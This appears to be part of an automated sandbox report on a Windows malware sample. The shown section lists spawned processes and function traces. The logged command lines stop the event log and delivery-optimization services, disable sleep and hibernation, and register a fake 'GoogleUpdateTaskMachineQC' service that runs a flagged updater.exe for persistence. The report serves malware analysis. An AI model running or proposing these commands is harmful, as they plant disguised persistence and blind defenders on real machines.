Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6ef4e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff607c60000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff607c60000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff607c60000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:42:37
Start date:	01/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff607c60000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:42:38
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	08:42:38
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:42:38
Start date:	01/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
Imagebase:	0x7ff6ef4e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	08:42:38
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	08:42:38
Start date:	01/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
Imagebase:	0x7ff6ef4e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	08:42:38
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	08:42:38
Start date:	01/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff6ef4e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	08:42:38
Start date:	01/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
Imagebase:	0x7ff6ef4e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	08:42:38
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	08:42:38
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	08:42:38
Start date:	01/11/2024
Path:	C:\ProgramData\Google\Chrome\updater.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Google\Chrome\updater.exe
Imagebase:	0x7ff7d0860000
File size:	8'707'480 bytes
MD5 hash:	D9A5E741B1F67593422BFB1A165288BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 67%, ReversingLabs
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	31

Executed Functions

Function 00419F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,02F6AE68), ref: 00419F3D
GetProcAddress.KERNEL32(74DD0000,02F6AF08), ref: 00419F55
GetProcAddress.KERNEL32(74DD0000,02F6E8A0), ref: 00419F6E
GetProcAddress.KERNEL32(74DD0000,02F6E918), ref: 00419F86
GetProcAddress.KERNEL32(74DD0000,02F6EAF8), ref: 00419F9E
GetProcAddress.KERNEL32(74DD0000,02F6EAC8), ref: 00419FB7
GetProcAddress.KERNEL32(74DD0000,02F71428), ref: 00419FCF
GetProcAddress.KERNEL32(74DD0000,02F6EB10), ref: 00419FE7
GetProcAddress.KERNEL32(74DD0000,02F6EA80), ref: 0041A000
GetProcAddress.KERNEL32(74DD0000,02F6EAE0), ref: 0041A018
GetProcAddress.KERNEL32(74DD0000,02F6EA98), ref: 0041A030
GetProcAddress.KERNEL32(74DD0000,02F6AF28), ref: 0041A049
GetProcAddress.KERNEL32(74DD0000,02F6AFC8), ref: 0041A061
GetProcAddress.KERNEL32(74DD0000,02F6AFE8), ref: 0041A079
GetProcAddress.KERNEL32(74DD0000,02F6AD28), ref: 0041A092
GetProcAddress.KERNEL32(74DD0000,02F6EA50), ref: 0041A0AA
GetProcAddress.KERNEL32(74DD0000,02F6EA68), ref: 0041A0C2
GetProcAddress.KERNEL32(74DD0000,02F71270), ref: 0041A0DB
GetProcAddress.KERNEL32(74DD0000,02F6AC68), ref: 0041A0F3
GetProcAddress.KERNEL32(74DD0000,02F6EAB0), ref: 0041A10B
GetProcAddress.KERNEL32(74DD0000,02F74F88), ref: 0041A124
GetProcAddress.KERNEL32(74DD0000,02F75030), ref: 0041A13C
GetProcAddress.KERNEL32(74DD0000,02F74F28), ref: 0041A154
GetProcAddress.KERNEL32(74DD0000,02F6AC88), ref: 0041A16D
GetProcAddress.KERNEL32(74DD0000,02F74F58), ref: 0041A185
GetProcAddress.KERNEL32(74DD0000,02F74E68), ref: 0041A19D
GetProcAddress.KERNEL32(74DD0000,02F74E38), ref: 0041A1B6
GetProcAddress.KERNEL32(74DD0000,02F74DF0), ref: 0041A1CE
GetProcAddress.KERNEL32(74DD0000,02F74F40), ref: 0041A1E6
GetProcAddress.KERNEL32(74DD0000,02F75018), ref: 0041A1FF
GetProcAddress.KERNEL32(74DD0000,02F74EB0), ref: 0041A217
GetProcAddress.KERNEL32(74DD0000,02F74F70), ref: 0041A22F
GetProcAddress.KERNEL32(74DD0000,02F74FA0), ref: 0041A248
GetProcAddress.KERNEL32(74DD0000,02F710F8), ref: 0041A260
GetProcAddress.KERNEL32(74DD0000,02F74FB8), ref: 0041A278
GetProcAddress.KERNEL32(74DD0000,02F75048), ref: 0041A291
GetProcAddress.KERNEL32(74DD0000,02F6ACA8), ref: 0041A2A9
GetProcAddress.KERNEL32(74DD0000,02F74D90), ref: 0041A2C1
GetProcAddress.KERNEL32(74DD0000,02F6ACC8), ref: 0041A2DA
GetProcAddress.KERNEL32(74DD0000,02F75060), ref: 0041A2F2
GetProcAddress.KERNEL32(74DD0000,02F74E20), ref: 0041A30A
GetProcAddress.KERNEL32(74DD0000,02F6ACE8), ref: 0041A323
GetProcAddress.KERNEL32(74DD0000,02F6B2A8), ref: 0041A33B
LoadLibraryA.KERNEL32(02F74F10,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A34D
LoadLibraryA.KERNEL32(02F74E50,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A35E
LoadLibraryA.KERNEL32(02F74FD0,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A370
LoadLibraryA.KERNEL32(02F74EC8,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A382
LoadLibraryA.KERNEL32(02F74E80,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A393
LoadLibraryA.KERNEL32(02F74D78,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3A5
LoadLibraryA.KERNEL32(02F74E98,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3B7
LoadLibraryA.KERNEL32(02F74DC0,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3C8
GetProcAddress.KERNEL32(75290000,02F6B048), ref: 0041A3EA
GetProcAddress.KERNEL32(75290000,02F74EE0), ref: 0041A402
GetProcAddress.KERNEL32(75290000,02F6EEF8), ref: 0041A41A
GetProcAddress.KERNEL32(75290000,02F74EF8), ref: 0041A433
GetProcAddress.KERNEL32(75290000,02F6B008), ref: 0041A44B
GetProcAddress.KERNEL32(73B70000,02F711F8), ref: 0041A470
GetProcAddress.KERNEL32(73B70000,02F6B348), ref: 0041A489
GetProcAddress.KERNEL32(73B70000,02F71590), ref: 0041A4A1
GetProcAddress.KERNEL32(73B70000,02F74DA8), ref: 0041A4B9
GetProcAddress.KERNEL32(73B70000,02F74FE8), ref: 0041A4D2
GetProcAddress.KERNEL32(73B70000,02F6B0A8), ref: 0041A4EA
GetProcAddress.KERNEL32(73B70000,02F6B368), ref: 0041A502
GetProcAddress.KERNEL32(73B70000,02F75000), ref: 0041A51B
GetProcAddress.KERNEL32(752C0000,02F6B0C8), ref: 0041A53C
GetProcAddress.KERNEL32(752C0000,02F6B2E8), ref: 0041A554
GetProcAddress.KERNEL32(752C0000,02F74DD8), ref: 0041A56D
GetProcAddress.KERNEL32(752C0000,02F74E08), ref: 0041A585
GetProcAddress.KERNEL32(752C0000,02F6B068), ref: 0041A59D
GetProcAddress.KERNEL32(74EC0000,02F71298), ref: 0041A5C3
GetProcAddress.KERNEL32(74EC0000,02F712E8), ref: 0041A5DB
GetProcAddress.KERNEL32(74EC0000,02F750A8), ref: 0041A5F3
GetProcAddress.KERNEL32(74EC0000,02F6B388), ref: 0041A60C
GetProcAddress.KERNEL32(74EC0000,02F6B308), ref: 0041A624
GetProcAddress.KERNEL32(74EC0000,02F71338), ref: 0041A63C
GetProcAddress.KERNEL32(75BD0000,02F75108), ref: 0041A662
GetProcAddress.KERNEL32(75BD0000,02F6B0E8), ref: 0041A67A
GetProcAddress.KERNEL32(75BD0000,02F6EE48), ref: 0041A692
GetProcAddress.KERNEL32(75BD0000,02F750C0), ref: 0041A6AB
GetProcAddress.KERNEL32(75BD0000,02F75120), ref: 0041A6C3
GetProcAddress.KERNEL32(75BD0000,02F6B088), ref: 0041A6DB
GetProcAddress.KERNEL32(75BD0000,02F6B248), ref: 0041A6F4
GetProcAddress.KERNEL32(75BD0000,02F75138), ref: 0041A70C
GetProcAddress.KERNEL32(75BD0000,02F75078), ref: 0041A724
GetProcAddress.KERNEL32(75A70000,02F6B108), ref: 0041A746
GetProcAddress.KERNEL32(75A70000,02F75090), ref: 0041A75E
GetProcAddress.KERNEL32(75A70000,02F750D8), ref: 0041A776
GetProcAddress.KERNEL32(75A70000,02F750F0), ref: 0041A78F
GetProcAddress.KERNEL32(75A70000,02F75240), ref: 0041A7A7
GetProcAddress.KERNEL32(75450000,02F6B168), ref: 0041A7C8
GetProcAddress.KERNEL32(75450000,02F6B028), ref: 0041A7E1
GetProcAddress.KERNEL32(75DA0000,02F6B188), ref: 0041A802
GetProcAddress.KERNEL32(75DA0000,02F75270), ref: 0041A81A
GetProcAddress.KERNEL32(6F070000,02F6B328), ref: 0041A840
GetProcAddress.KERNEL32(6F070000,02F6B3A8), ref: 0041A858
GetProcAddress.KERNEL32(6F070000,02F6B1E8), ref: 0041A870
GetProcAddress.KERNEL32(6F070000,02F75468), ref: 0041A889
GetProcAddress.KERNEL32(6F070000,02F6B268), ref: 0041A8A1
GetProcAddress.KERNEL32(6F070000,02F6B128), ref: 0041A8B9
GetProcAddress.KERNEL32(6F070000,02F6B148), ref: 0041A8D2
GetProcAddress.KERNEL32(6F070000,02F6B228), ref: 0041A8EA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0041A901
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0041A917
GetProcAddress.KERNEL32(75AF0000,02F75198), ref: 0041A939
GetProcAddress.KERNEL32(75AF0000,02F6EE08), ref: 0041A951
GetProcAddress.KERNEL32(75AF0000,02F75180), ref: 0041A969
GetProcAddress.KERNEL32(75AF0000,02F753C0), ref: 0041A982
GetProcAddress.KERNEL32(75D90000,02F6B2C8), ref: 0041A9A3
GetProcAddress.KERNEL32(6D120000,02F752D0), ref: 0041A9C4
GetProcAddress.KERNEL32(6D120000,02F6B208), ref: 0041A9DD
GetProcAddress.KERNEL32(6D120000,02F752E8), ref: 0041A9F5
GetProcAddress.KERNEL32(6D120000,02F751B0), ref: 0041AA0D

Strings

HttpQueryInfoA, xrefs: 0041A90C
InternetSetOptionA, xrefs: 0041A8F5

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction ID: fc853244e6edf76f870e234c3061c456cb9d9aaab695e8dd72f65461d71d1d70
Opcode Fuzzy Hash: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction Fuzzy Hash: 98623EB5D1B2549FC344DFA8FC8895677BBA78D301318A61BF909C3674E734A640CB62

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,00416C9B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,00416C9B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
